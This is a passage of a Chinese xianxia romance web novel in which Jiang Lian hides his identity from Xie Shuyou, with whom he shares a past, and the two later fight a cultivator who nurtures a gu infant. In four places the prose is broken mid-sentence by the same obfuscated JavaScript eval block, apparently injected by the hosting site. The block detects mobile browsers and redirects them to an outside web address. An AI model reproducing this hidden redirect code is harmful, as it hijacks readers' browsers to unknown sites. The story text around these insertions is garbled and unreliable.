“道友今早满身血迹回来,不知昨晚去了何处?” “嗯……因为夜不归宿被刨根问底抽丝剥茧的查问晚间形迹,这不是家中夫人才该管的事吗?” 江敛将琵琶收起来,斜倚在椅背上,勾着唇角冲他眨眼:“江某虽尚未娶亲,但已有未婚妻,这种事只好对卿卿言,不应与他人讲。” 谢舒攸闻言眉梢动了动:“江道友和未婚妻,想必感情很好吧。” “年少时家中长辈定下的婚约罢了,定下此事时我家那位还是不记事的年纪呢,只怕如今见了也认不得我。” 江敛摆了摆手:“后来许多年也没怎么再见过,感情自然也说不上好。只是有这一层关系在大小是个约束,在外言行自然要顾及一二,毕竟不是什么自由身。” “是吗。”谢舒攸语气淡淡,话锋却是一转,“昨夜城主府一夜之间惨遭灭门,此事道友可知?” “在下实不知啊。”江敛挑眉惊 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16383347|184158||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 讶道,“不知是何处妖魔作祟,在下实在是老实本分人,每日只知种田采药,其他一概不知。” “向道友询问此事并非兴师问罪,城主府之人与三尸教勾结,死有余辜。”谢舒攸看着他,缓缓道,“只是这些人直接杀了未免损失太多线索。” 江敛杀人之前自然是严刑逼供过,什么都问不出来才杀了。 于是他说:“他们肯为邪修做事,要么有把柄被抓住,要么被喂了毒药下了禁咒,想问出点什么来怕是很难。任他们活着反而容易生乱,死了干净倒是好事,道友何必为一桩好事耿耿于怀呢。” 谢舒攸态度不置可否:“道友倒是将其中利害分析得清楚。” 不是点明了骂他的,江敛一律默认是在夸他,于是他摆手:“谬赞,谬赞。” “杀人者手法高超,只是手段相当阴狠。”谢舒攸道,“我进门便被溅了一身血水,场面异常血腥残忍。” 江敛捂住胸口嘶了口气,真心实意道:“这真是天大的罪过。” 罪过罪过,真是罪过。 怪不得谢舒攸将早上那身衣服换了下来,原来是脏了。他都没来得及多看两眼,就换成了一身玄色绣金纹法衣,袖口是收紧的,不如早上那身飘逸闲适。 人美自然穿什么都美,但这身看上去随时都能拔剑冲上去跟人斗法。 那多累啊,明明只要谢舒攸一个眼神他就知道该去杀谁,哪里用得着美人亲自动手弄脏衣裳。 下次得学学怎么才能干干净净的杀人。 “我认识一个人,也喜欢杀人的时候把场面弄得很恶心。”谢舒攸径直望向他的眼睛和他对视,在他心虚移开眼时,继续道,“他撒谎时也不敢直视我的眼睛。” 江敛硬着头皮转回视线,干笑两声:“哈哈,那还真是凑巧。” “他不告而别,生死不知,这些年我一直在找他。”谢舒攸看着他的眼睛,“实在是很重要的人。” 很难说清这一刻心里是什么感觉占据上风,听到谢舒攸亲口说这么多年一直在找他,这么多年心里一直把他看得那么重要,他爽得头皮发麻。 但又不可自抑的生出卑怯退缩。 他早就不是谢舒攸心上的那个人了。 “我不能放过和他有关的任何一点线索。”谢舒攸突然靠近他,“有些事需要阁下配合验证一下。” 两人一站一坐,谢舒攸的手按在他肩头,没有一丝感情的冷淡眼瞳俯视着他:“阁下能理解我,对吧?” 分明这双眼睛不复当年温情,看向他的神色冷漠,甚至算得上轻蔑。 可他痴痴看着眼前的人移不开眼,心头狂跳起来。 真漂亮。 眼尾扬起的弧度,像蝴蝶的翅膀的轮廓。 8. 你在发颤,为什么? “唉?这是怎么了?” “不知道不知道,小点声。” 一边的陈述和岑望昭并排探了个头出来,目光在相持不下的两人之间梭巡。 “交流感情呢,别看了。”江敛趁机扭头,“去忙你们的!” 谢舒攸也歪头看过去,岑望昭被这眼看得一哆嗦,顷刻就像被拎住后颈的小狗一样怂了:“陈兄,陈兄咱们还是别看了……” 陈述有些意犹未尽的被岑望昭拉走了。 被这两人一打断,气氛缓和了些,江敛调整表情笑起来:“道友一片赤忱痴心,在下实在钦佩不已,不知道友想要在下如何配合呢?” “我认识的那个人,是万中无一的火天灵根。”谢舒攸从储物戒中取出一个散发着淡白荧光的小球,“道友可否将手放上,验一验灵根?” “原来道友是在怀疑在下便是你那个故人。”江敛露出恍然大悟的表情,“何必那么麻烦,灵根这种东西,施展个术法不就看出来了吗。” “道友属实是高看在下了。”江敛伸出手,一手窜上赤红的火苗,一手攀上嫩绿的木枝苗叶,“天灵根世所罕见,谁不想要呢?只可惜在下没那个禀赋造化,只是平平无奇的火木双灵根罢了。” 谢舒攸盯着他手上那抹绿色看了片刻,手指蜷起握紧了手中的珠子,不愿接受似的移开了视线,好半天过去才重新张口,声音有些哑:“冒犯了。” 他留下了个储物袋扔在桌上,转身离开了。 江敛见不得他伤心失落的样子,于是没有抬头再看,而是垂眸去看桌上他留下的那个储物袋。 是认错人的补偿? 谢舒攸一走,陈述眼睛闪着亮光凑过来,手里就差抓把瓜子了:“你俩有点旧情复燃的架势啊。” 没来得及细看,江敛随手将储物袋收了起来:“没有,只是在问一些事。” “嚯,骗谁呢。”陈述拿手指比量着,“问什么事需要靠那么近?” 江敛含混道:“他问我灵根的事。” “灵根?”陈述思考片刻,“是你之前用自己的灵力给他疏通,被察觉了?” 江敛自己也摸不准:“大概吧。” 陈述恨铁不成钢道:“又不是不喜欢了,他都问你了,你顺着台阶解释清楚多好?何必这么折磨自己。” “没有什么折不折磨。”江敛低声道,“只要他过得安稳顺意,我怎么样无所谓。” 呵呵,这人又在故作松弛了。 “无所谓?真的无所谓?”陈述拉长声音阴阳怪气,“江少主,你至今未娶啊。” “骗骗兄弟得了,自欺欺人可就没意思了……前些日子你不是才从药园搜刮走了一株极品火系灵草,刚好对症不是吗?” 陈述一边摇头,一边发出啧啧声:“明明有别的选择,非要用自己的灵力给人疏通,你说你什么都不期待反正我是一点都不信,你这人真是好心机好手段。” “你小点声。”江敛抬手布了个隔音结界,“灵草的事,我忘了而已。” “得。”陈述轻嗤,“连个像样的理由都懒得找,这么喜欢人家放不下人家,直接跟人说不行吗?” 江敛不说话。 “我明白了,你不敢跟人明说,又不甘心就这样断了,于是耍心机搞这种小动作……”陈述皱眉嘟囔,“康庄大道摆眼前你不走,非得另辟蹊径使些小人手段,卑不卑鄙。” 江敛没反驳。 确实卑鄙,但只要谢舒攸怀疑他的身份,觉得他可能还活着,就不会去找别人。 他死了谢舒攸找谁都行,可他还活着,只要他还活着就不甘心看见谢舒攸放下他去喜欢别人。 一边给人希望一边又不去承认身份,说他贱也好,龌龊也好,他想不出什么两全的办法来。 他实在不知道自己还有没有命跟谢舒攸谈以后。 他这一劫若能熬过去,第一件事便是去向谢舒攸负荆请罪,到时候任谢舒攸如何罚他他都甘之如饴。 若他死了…… 谢舒攸也不至于因此太过伤心。 …… 天色暗下来,江敛靠在窗边,打开窗就看见谢舒攸在客栈四周布置阵法。 明明是很隐蔽的位置,可谢舒攸依旧察觉到了他的视线,抬头对上了他的目光。 在脑子给出该做什么样的反应前,江敛的手已经抬起来跟人打招呼了。 谢舒攸朝他点了下头便移开了视线,反应很是冷淡疏离,就像对待所有陌生人那样。 江敛心头像堵了一团棉花一样,说不清是什么感觉,转头关上了窗户。 “江大夫……”一道声音犹犹豫豫道,“您脸色好白,去休息一会儿吧。” 是那天来求助他去救妹妹的那个孩子,这几日一直都在这里帮忙。 他第一次见到这个孩子是在初来漱岳城不久,某日外出采药子夜才归,路过乱葬岗时听到孩子的哭声,随手便救了。 依稀记得这孩子讲过被遗弃在那里的原因,似乎是他幼时大病过一场,本都要咽气了,却又被救活了过来。父母觉得是好事,其他亲戚却觉得是野鬼还魂视他为不详。 后来父母因故亡故,那些虎狼般的亲戚便认定了他的父母都是被他克死的,以除邪祟的名义将他扔在乱葬岗自生自灭,侵占了他家的房屋遗产。 江敛送佛送到西,使了点手段让他少了几个亲戚,拿回了家里的房屋银钱。 但孩子毕竟是孩子,没有大人庇护拿回容易守住难,不是亲戚也会有各路强盗毛贼来光顾,没多久就又回到家徒四壁的状态。 后来江敛忙于其他事,没有再关注他的情况。 偶然间再见到时,他就已经多了个妹妹。听他说是路边捡的,觉得她和自己一样可怜,就相依为命一起生活了。 “秦……”江敛张口想说自己没事,但却一时想不起他的名字了,只记得这儿人大多姓秦。 “秦沂,沂水的沂。”秦沂像根瘦骨伶仃的小竹竿杵在他面前,有些担忧道,“您的脸色太差了。” 昨日吃了过量的药,今日只能硬抗后脊那儿的疼痛,脸色难看点也是难免的。 江敛想起了什么,掏了瓶辟谷丹给他:“我没事,这个东西你吃一颗,今晚就待在房间里不要出门,知道吗?” 秦沂双手接过,懵懵懂懂点头。 太阳已经差不多完全落下了,江敛皱了皱眉,催着他进房间:“现在就进去吧,烛台有几个算几个全都点起来,不要灭,记住了?” 见他神色严肃起来,秦沂听话进屋关上了门。< ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16383348|184158||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' p>江敛又掏出符咒加了几道在门上,做完这些,陈述也从一旁安置孩子的房间出来了。 陈述好奇道:“你干什么呢?” “没什么。”江敛挨个门上贴符纸,“你晚上锁好门别出门,听到什么动静都别开门。” 陈述若有所思:“你是不是知道什么?” 江敛拍了张符在他肩上:“你锁好门就是了,别的别问。” “那你贴这么多驱邪镇妖的符咒干嘛?”陈述顶着那张符继续问,“难不成你师父教过禁书里那些东西的应对办法?” “你怎么知道三尸教的邪修用的一定是禁书里的禁术,而不是他们宗派的?”江敛怀疑的目光看过来,“你看过禁书?” 陈述头发都炸了起来:“我可没看过!你别乱说啊!我都是瞎猜的!” 你当然没看过。 江敛心说,看过的是我。 还不等他再给陈述泼两句脏水让他赶紧老实回屋别在这儿立着,一旁的木制楼梯传来脚步声。 是谢舒攸在客栈四周布置好防御阵法,上楼来了。 陈述眼睛迸发出见到财神的热情光芒,即刻抬手打招呼:“谢道友!” 谢舒攸对他们略微颔首。 “这两日多谢二位出手相助,城主府出了事,只怕邪修会伺机报复。”谢舒攸缓声道,“还请两位之后的几夜都待在房间不要乱走,谢某会尽全力护持二位周全。” 陈述缩了缩脖子,颇为认同道:“道友的担心有道理,如此便有劳了。” 谢舒攸客套道:“分内之事。” “这天色也不早了,那我便先回房间了。”陈述临走前用肩膀撞了江敛一下,小声提醒他,“你也别四处乱窜了,形势比人强,小命要紧。” 江敛没什么回应,陈述不知道他九曲十八弯的脑子想来想去又转到哪个山沟沟去了,自己左右也劝不动,干脆不管了。 咔哒一声关了门,陈述离开了,只剩谢舒攸和江敛两人站在二楼狭窄的过道中央。 见他一直不动,谢舒攸道:“若无其他事,在下便先行离开了。江道友也尽快回房吧。” 真是……好冷淡。 只有客套疏离,没有丝毫亲近之意。 见他依旧不说话,谢舒攸径直从他身侧走过,下一刻腕间一紧,自己的手腕被人死死攥住了。 谢舒攸回过头,就看到江敛有些阴郁又有些委屈的神色,一瞬不瞬望着他。 视线对上,这人不仅没有半分松手悔改之意,还得寸进尺的用两指挑开他的袖口探进去,揉着他的腕骨,细细摩挲着那片冰凉的、冷白馨香的皮肤。 体温相差太大,谢舒攸皮肤生理性的激起一小片颤栗。 “你在发颤,为什么?”江敛嘴里吐出湿热的,含糊的字句,“在怕我吗?攸攸。” “我不想回我的房间,我能去你的房间吗?” 此话话音一落,谢舒攸本就不富裕的耐心彻底告罄。 “嗵”得一声巨响,客栈木板间隙之间积年的尘土飞扬,江敛被一个过肩摔砸在地上,疼痛之余终于找回理智。 “都说医者难自医,今日一见果真不假。”谢舒攸神情没有什么波动,居高临下俯视着他就事论事道,“江道友像是有些心魔缠身的迹象。” 9. 得爱妻如此,夫复何求 谢舒攸整整衣服离开了,江敛躺在地上半天没缓过神来。 片刻后他用手捂住脸,闭上眼上瘾般去嗅指尖遗留下的谢舒攸的气息。 属于谢舒攸的味道在渐渐淡去,他急促的呼吸着,想要将那点儿残余的香味全都吸进肺里。 心里就一个感受,这顿揍挨得真是太他爹的值了! 江敛更坚信了,谢舒攸爱他,肯定爱他。 明明可以一剑捅死他,却选择了这么温和的方式唤醒他。 甚至没用灵力,只是凡人武斗的招式,是怕真的伤到他吧。 如此体贴!如此温柔! 真是得爱妻如此,夫复何求! 夜晚,那抹幽香依旧盘桓在他口鼻肺腑,久久不散。 谢舒攸身上总是沾着各种花的香气。 他想起从前他们还亲近时,自己最初也不知道这香味的来源,直到后来一次他们约定了时间见面,他却耽搁了赴约的时间,赶到时已经是黄昏。 谢舒攸并没有等在他们约定的地方,江敛在周围找了一圈都一无所获时,余光瞥见了周围的野花丛。 他不知道自己怎么会觉得谢舒攸在这里,但他还是凭着直觉走了进去。 很浓的花香,还没靠近就先嗅到了层层叠叠的香气,一层浓过一层,夹在风里迎面扑来。他抬脚往里走了一段,然后看到谢舒攸卧在花里睡。 蜷着身体,猫儿一样的姿势,花瓣被他压在颊下,雪白的脸颊脖颈随着呼吸有轻微的起伏,鸦黑的眼睫落上了余晖的光,色彩灿灿像点了金。 江敛不知自己是出于什么样的心理没有将人叫醒,而是静悄悄在他身侧蹲下,连呼吸声都放轻了。 头顶是高大的,不知名的花树。浅粉色的花缀在枝头沉甸甸的,密密匝匝的开着。有风吹来,花瓣砸在江敛脸上,又轻飘飘的被风裹到谢舒攸唇边,擦着他的面颊被下一阵风吹走。 江敛喉头滚动,垂在身侧的手指不自觉摩挲了下。 被花瓣拂面,谢舒攸眼睫颤了颤,终于还是醒了过来,江敛看见他清透漂亮的眼瞳里映出了自己的影子。 谢舒攸懒懒倦倦的抬起蹭上了花汁的脸,懵懵的歪头看他,醒过神来认清人后用有些愠恼的语气说:“又要我等你!” 他皱着眉,用年轻的,清脆的,毫无威慑力的嗓音说:“我讨厌你!” 鬼使神差的,江敛抬手,用指腹蹭去他脸颊沾上的颜色,然后攥起拳,将这柔软的触感握进手心里。 谢舒攸呆了呆,然后态度软和了些,他又说:“你下次最好早点来见我。” 他的脸颊还带着些微刚睡醒的红晕,浅浅的,像浮在江敛心头的一片云。他用惯常的带着些许骄纵自矜的语气说:“我不会再等你到日落了!” 江敛听到什么巨大的声响,一直咚、咚、咚、咚在耳畔响个不停。 是他的心跳。 居然是他的心跳。 他亲眼看着自己小指上生出一条只有他能看到的红线,像他的血一样红,静静的延伸出来,缠到了谢舒攸的小指上,像是在提醒他,他的心里从这一刻起有什么开始变得不一样了。 而这一切都是他心甘情愿的,甘之如饴的。 “咕——顾——” 江敛被鸟鸣从梦中唤醒,天边半明半暗,还没亮起来。 他躺在床上翻了个身懒得起来,继续回味品咂昨晚的梦。 那时候太年轻,傻愣愣的,很多事都想不明白。觉得喜欢只知道看,心里痒痒也只是老实听。 现在再想起来,那句柔软的,清脆的“我讨厌你”明明是在撒娇。 江敛心里暗爽,谢舒攸还是太爱他了,除了对他,这个人哪对别人这样过? …… 这一晚无事发生,安稳度过。 谢舒攸收到了师门传来的消息,执法堂长老已亲自带人赶来,明早就能抵达漱岳城。 他松了口气,眼睛望向窗外初升的太阳,只要平稳度过今晚其他便没什么好担心的了。 谢舒攸不喜欢意外,前天晚上突然晕倒的原因至今没找到,那晚他没动席上的任何东西,只与一人交过手,且碰上那个人之后气息就开始燥乱,想必祸患是那时就埋下了。 后面若是再遇上谨慎起见不能近身交手,真是自找麻烦后患无穷。 当时就应该直接杀了的,谢舒攸有些烦躁的想。 江敛下楼时,看到的就是谢舒攸独自坐在窗边,眼睛沾着晨光像颗透亮的琉璃珠子,此时皱着眉表情严肃,不知道又在因为什么跟自己生气。 按理说昨晚刚被人捶地上,今天见了人应该避开走才对,但江敛不,他迎上去兴致高昂的跟人打招呼:“道友早啊。” 谢舒攸脸上没有多少意外,点头:“早。” 如果是别人,被锤了还凑上来或许很诡异。 但如果是他要找的那个人,那就不奇怪了。 谢舒攸目光落在他身上,如果真的是同一人……性格没有变化,然而却心魔缠身,修为倒退,灵根不复,就连本命剑也不见踪影。 他真不知道这人是怎么在几年之间把自己弄成如今这副模样的。 江敛不知道他在想什么,坐在他一旁随口问道:“今日道友还要重新布置阵法吗?” “不必重新布置,但需每日重新加固。” 随意闲聊两句,谢舒攸心中有些乱,于是随便找了个借口借故离开。 接下来的一天都没再说什么话。 黄昏时候天边阴了下来,不多时便又下起了雨。 阳气衰弱阴气滋生,似乎是什么不好的预兆。谢舒攸想着,又将阵法加固了一层。 原希望这雨晚上能停,可到了晚上不仅没停,还电闪雷鸣声势更大。 江敛在床上辗转反侧,有些担心谢舒攸。 他记得谢舒攸很怕这种雷雨交加的天气。 谢舒攸年幼时曾在药王谷寄住过一段时间,那时候他年纪还太小,又是一个人在完全陌生的地方,那个夏天时常会被雷声吓得一直哭,怕得挤在江敛怀里不停的发抖。 后来再相遇时谢舒攸已经十五六岁,可能是儿时畏惧的东西会留在心底很难拔除,他不再哭了,但却依旧害怕,会惨白着小脸抱着膝可怜巴巴的问江敛能不能留下陪他。 虽然这种事放在谢舒攸这么独立的性格上有些违和,但江敛从没怀疑过这件事的真实性,毕竟谢舒攸小 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16383349|184158||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 时候就怕这些,长大后喜恶不变是正常的。 窗边闪过一道电光,紧跟着的是炸耳的响雷。 江敛担心得如坐针毡,最后还是没忍住坐了起来,不顾几人之间晚上不要乱走的约定起身出门。 谢舒攸在房间里打坐,却听到房间门口有敲门声。他先感应了一下阵法确定没有遭到破坏,确认来敲门的是自己人不是其他东西,然后才起身去开门。 见门口来人是江敛,他问:“什么事?” 夜色浓黑,谢舒攸的脸色在幽暗的光线下显得有些苍白。 江敛道:“如果怕黑的话……今晚要不要暂时和我待在一起?” 谢舒攸抬眸看他,眉头微蹙:“谁告诉你我怕黑?” 江敛却觉得他在嘴硬,于是改口道:“口误,是我怕黑,今夜还有雷雨,实在不敢独自呆着,能劳烦道友房间腾一小块地方给我吗?” 谢舒攸想起自己小时候确实怕黑怕打雷,但不过是些孩子时候大多数人都会怕的东西而已,因为不懂,因为未知,所以害怕。长大了明白了自然就不怕了。 怕黑这种拙劣的话术他只在十五六岁时为了挽留某个人用过。 现在想起来或许会觉得幼稚,但那个年纪就是这样。 这种将要长大却还尚未长大的年纪是感情需求最高,最寂寞畏惧孤独的年纪,为了让喜欢的人多看看自己什么话都说得出来。 他也是从一个孩子慢慢长大的,这些过程自然也不能免俗。 但是以他现在的身份性格,怎么会有人觉得他怕黑呢…… 如果之前对江敛的身份只有六成把握,那现在有八成了。 头脑中冒出一个想法。 恰巧又是一道闪电落下,狭小的走廊被照得亮如白昼。 在雷声响起前,谢舒攸像是慌不择路下意识做出的反应般抓住了江敛的胳膊。 如他所料,下一瞬耳朵被人捂住,直到雷声过去江敛才移开手。 江敛一直垂着眼眸在看他,语气是不自知的担忧心疼:“好了,没事了。” 谢舒攸眨了下眼,因为这人的不告而别而在心里积了许多年的愠怒怨艾,在抬头对上这关切的目光后淡了许多,他冷静的想出了现在最好的处理方法。 于是他调整了下反应。 江敛看着他被雷声惊得有些呆,片刻没有表情,反应过来后露出了恼怒担忧交织的神情,怒是因为在外人面前暴露了弱点,忧则是依旧担心潮湿黑夜中落下的雷光。 江敛面对谢舒攸总是有些盲目,或许是因为自居年长,因为了解他的过去,因为见过他尚且年幼的样子,所以哪怕他如今已经长大了,心里也依旧下意识觉得他仍旧需要自己的保护,所以全然信任不设防备。 谢舒攸心里觉得有点无趣,好容易,这样就信了。 不过这也不能全怪江敛脑子不转,像他这样冷冷清清满身君子遗风,看起来正直得有些古板的人,如果他不说,谁会觉得他能撒谎行骗呢? 江敛还在等,于是谢舒攸皱着眉露出纠结的表情,犹豫后还是打开门,然后用生硬的语气道:“今夜危险,两人作伴确实比一人独处更安全些。” “进来吧。” 10. 若还有半分情分在 窗外风雨如晦,房间里灯烛暖黄的光显得格外温馨。 江敛草草扫了几眼,然后问:“要不要布一个隔音结界?” “不行。”谢舒攸制止道,“隔音结界会影响我的阵法对外面的感知,若是有邪祟趁虚而入就很难发现了。” “这样啊……”江敛门神似的抱臂在窗边站定,又去看谢舒攸,“我能站这儿吗?” 谢舒攸道了句自便,随后又回到了原处打坐。 这人还是和从前一样,说陪着就真的只是陪着,那时候是抱着剑守在床边,现在没剑了就抱臂杵在那儿。 现在倒是老实本分了,怎么不告而别的时候没见人品这么笃厚? 分别那么久,现在有机会共处一室却避瘟神一样躲他八丈远。谢舒攸越想越生气,打坐也静不下心来,他睁开了眼,正好跟往这儿偷瞄的江敛对上视线。 谢舒攸:…… 真是好出息,只有偷窥的胆子。 谢舒攸说:“到这边来。” 江敛能看出谢舒攸不高兴,却不知道他为什么不高兴。虽然有些摸不着头脑,但听话照做总不会出错。 于是他走到了谢舒攸身边,他清晰的感觉到他走近后谢舒攸心情明显好了起来。 这种感觉给了他某种希望,人就是容易得寸进尺,他开始幻想渴望触碰更多。 谢舒攸已经重新闭眼开始打坐,江敛垂眸去看他秀致的眉眼,花瓣般颜色的柔软唇瓣,神情带着股不自知的骄矜劲儿,就是这股子心气最抓人。 外面雷声停了,雨势渐小,他的手就垂在离谢舒攸很近的地方,抬一下就能碰到他的脸颊。 江敛正飘飘忽忽神游天外,窗外骤然传来一声巨响,像是剑气劈来的余波。 谢舒攸猛地睁开眼,法阵突遭重击牵扯他受到反噬,胸口一闷喉口溢上血腥味。他咬牙将腥味咽下,唇边被递上丹药,是回灵丹。 他没有磨蹭歪头吃下,丹田回复后重新单手结印:“阵法没有反应,不是邪祟,是修士。” 那就意味着不能再继续躲在这里,专门用来阻挡邪祟的阵法抗不过修士硬攻。 江敛推开窗,被激发的阵法泛着蓝色波光如同一个倒扣的琉璃碗罩在外面,有一黑袍修士御剑立于对面,身后跟着数十扈从,剑芒汇于一处正在筹备下一击。 客栈东侧没有住人,江敛果断道:“撤掉东侧阵法。” 蓝色的波光在缩小,在剑光击来前撤出了攻击范围。 客栈东侧被轰塌,木制的房屋一阵巨响,来不及再说更多,在房屋因为失衡而倒塌前江敛越出窗外,结咒唤起木系术法,巨大的绿色藤蔓拔地而起,缠绕着将摇摇欲坠的小楼固定在原地。 骤然抽走大量灵力,江敛咳了两声开始往嘴里塞药:“大半夜搞偷袭,为了让爷爷出来见你这龟孙,真是脸都不要了。” 黑袍修士浑身上下都遮得严严实实,他未发一言抬手一挥,身后数十黑衣修士就自觉围了一圈将江敛困在中央。 黑袍人身边的人走开后,江敛才看清他身侧离他最近的地方还站了一个人,若是什么别的人将脸遮这么严实他早不记得了,但他记得那双眼睛。 是那夜城主府那个满身是血的人,看来将他救走的就是这个黑袍人了。 没有更多思考的时间,周围的黑衣人已经朝他攻了过来,江敛一边祭出药鼎抵挡,一边用神识呼唤自己的本命剑。 从前他说不知道他的剑在哪儿落灰,不是他忘记把剑放哪儿了,而是他的剑离家出走不知道死哪儿去了。 记得几年前他受伤没了剑骨,控制不了本命剑之后,他的剑就觉得自己成了一把自由的剑,十分无情的对他说了句不与废物为伍,然后就离家出走了。 后来隔三差五会狗狗祟祟回来看一眼他死没死,知道他没死就继续放心去流浪,任他怎么心碎呼喊这死孩子都半点不留恋。 虽然他没法控制他的剑了,但神识之间的联系还在,江敛一刻不停的哀嚎:“青青,青青你爹要被人打死了,救命啊——” 他的剑是生出了剑灵有自我意识的灵剑,自己能打架,而且不比一般的金丹修士差,喊来肯定能帮上忙。 在他一边用神识传音痛哭,一边举鼎砸出数个肉饼后,天边闪过一道青光,如流星般破空坠来,眨眼间面前三人飞了出去,羊肉串一样被什么东西串在了一起,空气中隐隐能闻到焦味。 定睛去看那三人被一柄青色宝剑一齐钉到了石头上,那剑身还炸着爆裂的火星,江敛听到它的传音: “蠢货吵死了,再嚎连你一块捅穿!” 谢舒攸将客栈里的几人安置好,将守阵的任务交给岑望昭后,一出来看到的就是一把剑一马当先十分狂躁的在砍人,如果它会说话估计骂得很脏。 其实确实骂得很脏,江敛抽着气揉耳朵,然而神识传音直击魂魄,揉耳朵根本没用。 谢舒攸一时怔愣,因为他认出了这是那个人的本命剑,他脱口而出道:“挽江清?” 许久没被喊过名字,那剑顿了下像是在看他,然后继续更狂躁的砍人。 因为过于熟悉,谢舒攸一看就看出了不对,挽江清昔日剑柄上有两条青蛇盘绕,如今却不见了。 眼看局势于己不利,黑袍人对身侧的人说了什么,然后那人看向江敛,提刀直直杀来。 谢舒攸见状皱眉,手虚虚一握,极寒灵力凝结成一把闪着寒光的锋锐冰剑。 他提剑要去帮江敛,然而下一刻凌厉的剑风裹着至阳的热气而来,谢舒攸仓促抬剑接下一击。 “你要去哪儿。”覆盖住整张脸,连眼瞳都被遮盖的诡异面具下传来粗糙变调的声音,“你的对手是我。” 炽烈的剑身近在咫尺,谢舒攸被灼得面颊发痛,但在他看清这人手里所握的剑时一瞬间僵在那里,因为没能及时格挡手臂被划出一道血痕。 反应过来后,巨大的愤怒包裹了他。 “为什么你能用挽江清!”谢舒攸不顾灵根属性上的克制,握着剑直劈他面门,“为什么你能用他的本命剑!” 黑袍人似是愉悦,反问他:“因为什么你不是已经猜到了吗,何必再问。” 自己所珍视的人和事物遭人毁坏,谢舒攸气得发抖,恨不得将其碎尸万段,砍来的每一剑都带着恨意,然而却因为被克制而落于下风。 江敛自然也注意到了这边,他在心中不停呼喊挽江清:“怎么回事?你怎么打自己人?” “你这个蠢货!”挽江清咬 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16383350|184158||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 牙切齿,“我摆脱不了他的控制,你的剑骨肯定在他身上,快杀了他夺回来!” 江敛被那个瘦削的黑衣人缠住,此时分身乏术。上次对上能险胜是因为他本就受了伤,如今再对上,想赢就有些吃力了。 谢舒攸与那个黑袍人交手本落于下风,而现在那人却不知被什么所消耗,动作却渐渐慢下来。 他的四肢膨胀又收缩,然后扭曲成怪异的模样,被谢舒攸抓住时机刺倒在地上。 挽江清怕自己又被控制,抓住机会飞起来噌得一下消失没了影。 黑袍人身体抽动着,歪头吐出什么东西,谢舒攸看过去却发现他吐的不是血,而是一团模糊的,抽动着的肉团。 是个巴掌大的干瘪婴儿。 是蛊婴,食人魂魄供养饲主的蛊婴。 谢舒攸毛骨悚然,这人居然以肉身养蛊婴,疯了吧。 那团粉红色的肉发出尖细的哭声,在月光下迅速丰盈起来,它站了起来,拖着脐带咯咯笑着往客栈方向跑去。 谢舒攸提剑去刺它却被人一剑挡开,这一剑力道极大,他被震得胳膊发麻。 是那个黑袍人不知何时又站了起来,手中握着一把黑气缭绕的剑,转了转手腕重新朝谢舒攸砍来。 如果说之前只是落于下风但勉强还能打个有来有回,如今谢舒攸却是完全无法与之抗衡,吐出那团东西后这人周身力量暴涨数十倍,如今至少有元婴中后期修为。 形式急转直下,丹田枯竭灵力也即将耗尽,谢舒攸从储物戒中取出符咒暂时抵挡。 符咒炸开在眼前,黑袍人像拂开一阵雾一样随意的拨开:“就到这里吧,不要怕,你会以另一种形式活着。” 谢舒攸咬牙握紧手中的最后一张符咒,死死盯着他。 然而下一瞬黑袍人毫无征兆的吐出一口血来,他不可置信的沾了沾唇上的血,回头看向客栈方向。 几乎是同时,客栈里响起一阵凄厉的惨叫,灰色的烟雾腾空而起,那蛊婴被杀了。 黑袍人被反噬,谢舒攸抓住机会要上去补几剑,一道影子风一样飞来,裹住人启动传送符跑了。 丹田灵力耗尽,谢舒攸几番催动符纸,却发现自己已经没有力气去追了。他心里怒气未消,一拳狠狠捶在地上,粗粝的石子割破皮肤,血丝在雨水中晕开。 江敛拖着伤走过来蹲在他面前,想抹去他手背上流出的血,想擦干他的眼泪……心慌意乱,江敛捞起他的手擦着上面的血和雨水。 谢舒攸看着他这副模样,很想质问他,你为什么用不了自己的剑了? 你的剑骨呢?被人拿走了? “那把剑,是我要找的那个人的本命剑。”他竭力控制着自己的脾气,问江敛,“你没有什么要说的吗?” 江敛沉默了一会儿,不知道在想什么。 